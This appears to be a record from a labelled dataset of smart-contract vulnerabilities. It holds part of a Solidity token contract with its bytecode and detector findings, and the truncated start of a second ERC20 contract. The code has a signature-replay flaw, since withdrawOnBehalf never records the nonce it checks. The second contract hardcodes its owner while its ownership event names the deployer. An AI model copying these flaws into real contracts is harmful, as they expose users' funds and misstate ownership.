emit Transfer(sender, address(0), _amount);
emit Transfer(address(0), _to, resultAmount);
return true;
}
function withdrawOnBehalf(uint _amount, string _paySystem, uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) onlyStaker public returns (bool success) {
uint256 fee;
uint256 resultAmount;
bytes32 hash = keccak256(address(0), _amount, _nonce, address(this));
address sender = ecrecover(hash, _v, _r, _s);
require(lastUsedNonce[sender] < _nonce);
require(_amount <= balances[sender]);
fee = comissionList.calcWidthraw(_paySystem, _amount);
resultAmount = _amount.sub(fee);
balances[sender] = balances[sender].sub(_amount);
balances[staker] = balances[staker].add(fee);
totalSupply_ = totalSupply_.sub(resultAmount);
emit Transfer(sender, address(0), resultAmount);
Burn(sender, resultAmount);
return true;
}
// Пополнение баланса пользователя, так-же отправляет комиссию для staker
// _to - адрес пополняемого кошелька, _amount - сумма, _paySystem - платёжная система
function refill(address _to, uint256 _amount, string _paySystem) onlyStaker public returns (bool success) {
uint256 fee;
uint256 resultAmount;
fee = comissionList.calcRefill(_paySystem, _amount);
resultAmount = _amount.sub(fee);
balances[_to] = balances[_to].add(resultAmount);
balances[staker] = balances[staker].add(fee);
totalSupply_ = totalSupply_.add(_amount);
emit Transfer(address(0), _to, resultAmount);
Mint(_to, resultAmount);
return true;
}
function changeStaker(address _staker) onlyOwner public returns (bool success) {
staker = _staker;
}
function getNullAddress() public view returns (address) {
return address(0);
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f457806318160ddd1461025957806318e536bc146102845780632359116d146102db57806323b872dd1461038657806327e235e31461040b578063313ce567146104625780633165b26e146104935780633f4ba83a1461052b57806342966c68146105425780635c975abb1461056f5780635ebaf1db1461059e57806366188463146105f557806370a082311461065a578063825d7643146106b15780638456cb59146106f457806386575e401461070b5780638da5cb5b146107ba57806395d89b4114610811578063a9059cbb146108a1578063ab55979d14610906578063d73dd62314610961578063da98655e146109c6578063db78f5ef14610a1d578063dd62ed3e14610adb578063f2fde38b14610b52575b600080fd5b34801561017057600080fd5b50610179610b95565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c33565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610c63565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b50610299610c6d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102e757600080fd5b5061036c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610c93565b604051808215151515815260200191505060405180910390f35b34801561039257600080fd5b506103f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061108a565b604051808215151515815260200191505060405180910390f35b34801561041757600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110bc565b6040518082815260200191505060405180910390f35b34801561046e57600080fd5b506104776110d4565b604051808260ff1660ff16815260200191505060405180910390f35b34801561049f57600080fd5b50610511600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff169060200190929190803560001916906020019092919080356000191690602001909291905050506110d9565b604051808215151515815260200191505060405180910390f35b34801561053757600080fd5b50610540611702565b005b34801561054e57600080fd5b5061056d600480360381019080803590602001909291905050506117c2565b005b34801561057b57600080fd5b506105846117cf565b604051808215151515815260200191505060405180910390f35b3480156105aa57600080fd5b506105b36117e2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060157600080fd5b50610640600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611808565b604051808215151515815260200191505060405180910390f35b34801561066657600080fd5b5061069b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611838565b6040518082815260200191505060405180910390f35b3480156106bd57600080fd5b506106f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611880565b005b34801561070057600080fd5b50610709611920565b005b34801561071757600080fd5b506107b8600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506119e1565b005b3480156107c657600080fd5b506107cf611a6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561081d57600080fd5b50610826611a95565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561086657808201518184015260208101905061084b565b50505050905090810190601f1680156108935780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108ad57600080fd5b506108ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b33565b604051808215151515815260200191505060405180910390f35b34801561091257600080fd5b50610947600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b63565b604051808215151515815260200191505060405180910390f35b34801561096d57600080fd5b506109ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c07565b604051808215151515815260200191505060405180910390f35b3480156109d257600080fd5b506109db611c37565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a2957600080fd5b50610ac160048036038101908080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050611c3f565b604051808215151515815260200191505060405180910390f35b348015610ae757600080fd5b50610b3c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612202565b6040518082815260200191505060405180910390f35b348015610b5e57600080fd5b50610b93600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612289565b005b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c2b5780601f10610c0057610100808354040283529160200191610c2b565b820191906000526020600020905b815481529060010190602001808311610c0e57829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610c5157600080fd5b610c5b83836123e1565b905092915050565b6000600154905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cf457600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663edc25f4285876040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015610da5578082015181840152602081019050610d8a565b50505050905090810190601f168015610dd25780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b158015610df257600080fd5b505af1158015610e06573d6000803e3d6000fd5b505050506040513d6020811015610e1c57600080fd5b81019080805190602001909291905050509150610e4282866124d390919063ffffffff16565b9050610e95816000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ec90919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f4a82600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ec90919063ffffffff16565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fc3856001546124ec90919063ffffffff16565b6001819055508573ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38573ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a26001925050509392505050565b6000600360149054906101000a900460ff161515156110a857600080fd5b6110b3848484612508565b90509392505050565b60006020528060005260406000206000915090505481565b600381565b6000806000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561113d57600080fd5b8a8a8a30604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140194505050505060405180910390209150600182898989604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af115801561125a573d6000803e3d6000fd5b50505060206040510351905088600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156112b357600080fd5b6000808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a1115151561130057600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166352cb2a7b8b6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561139157600080fd5b505af11580156113a5573d6000803e3d6000fd5b505050506040513d60208110156113bb57600080fd5b810190808051906020019092919050505093506113e1848b6124d390919063ffffffff16565b92506114348a6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d390919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114c7836000808e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ec90919063ffffffff16565b6000808d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061157c84600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ec90919063ffffffff16565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555088600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c6040518082815260200191505060405180910390a38a73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019450505050509695505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175e57600080fd5b600360149054906101000a900460ff16151561177957600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6117cc33826128c2565b50565b600360149054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360149054906101000a900460ff1615151561182657600080fd5b6118308383612a75565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118dc57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561197c57600080fd5b600360149054906101000a900460ff1615151561199857600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a3d57600080fd5b8160049080519060200190611a53929190613121565b508060059080519060200190611a6a929190613121565b505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b2b5780601f10611b0057610100808354040283529160200191611b2b565b820191906000526020600020905b815481529060010190602001808311611b0e57829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515611b5157600080fd5b611b5b8383612d06565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bc157600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550919050565b6000600360149054906101000a900460ff16151515611c2557600080fd5b611c2f8383612f25565b905092915050565b600080905090565b6000806000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ca357600080fd5b60008b8a30604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140194505050505060405180910390209150600182898989604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015611dc1573d6000803e3d6000fd5b50505060206040510351905088600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515611e1a57600080fd5b6000808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548b11151515611e6757600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636d05c24d8b8d6040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015611f18578082015181840152602081019050611efd565b50505050905090810190601f168015611f455780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b158015611f6557600080fd5b505af1158015611f79573d6000803e3d6000fd5b505050506040513d6020811015611f8f57600080fd5b81019080805190602001909291905050509350611fb5848c6124d390919063ffffffff16565b92506120088b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d390919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120bd84600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ec90919063ffffffff16565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612136836001546124d390919063ffffffff16565b600181905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a260019450505050509695505050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122e557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561232157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008282111515156124e157fe5b818303905092915050565b600081830190508281101515156124ff57fe5b80905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561254557600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561259257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561261d57600080fd5b61266e826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612701826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ec90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127d282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561290f57600080fd5b612960816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129b7816001546124d390919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612b86576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c1a565b612b9983826124d390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612d4357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612d9057600080fd5b612de1826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e74826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ec90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000612fb682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ec90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061316257805160ff1916838001178555613190565b82800160010185558215613190579182015b8281111561318f578251825591602001919060010190613174565b5b50905061319d91906131a1565b5090565b6131c391905b808211156131bf5760008160009055506001016131a7565b5090565b905600a165627a7a72305820770526e6d0b1a9518c4ad050ffcc80ba22f0abd6d9d932e0dc4c0f8895db077a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,122 |
0xdd680fe783e268b675d4e597039673c139b4568a
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = 0x50Ff3BA4Bb0e909c6B0C3B593746438170c4306f;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract StemCell is Ownable, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = '1StemCell';
_symbol = '1SCT';
_totalSupply= 10000000000 *(10**decimals());
_balances[owner()]=_totalSupply;
emit Transfer(address(0),owner(),_totalSupply);
}
/**
* @dev Returns the name of the token.
*
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
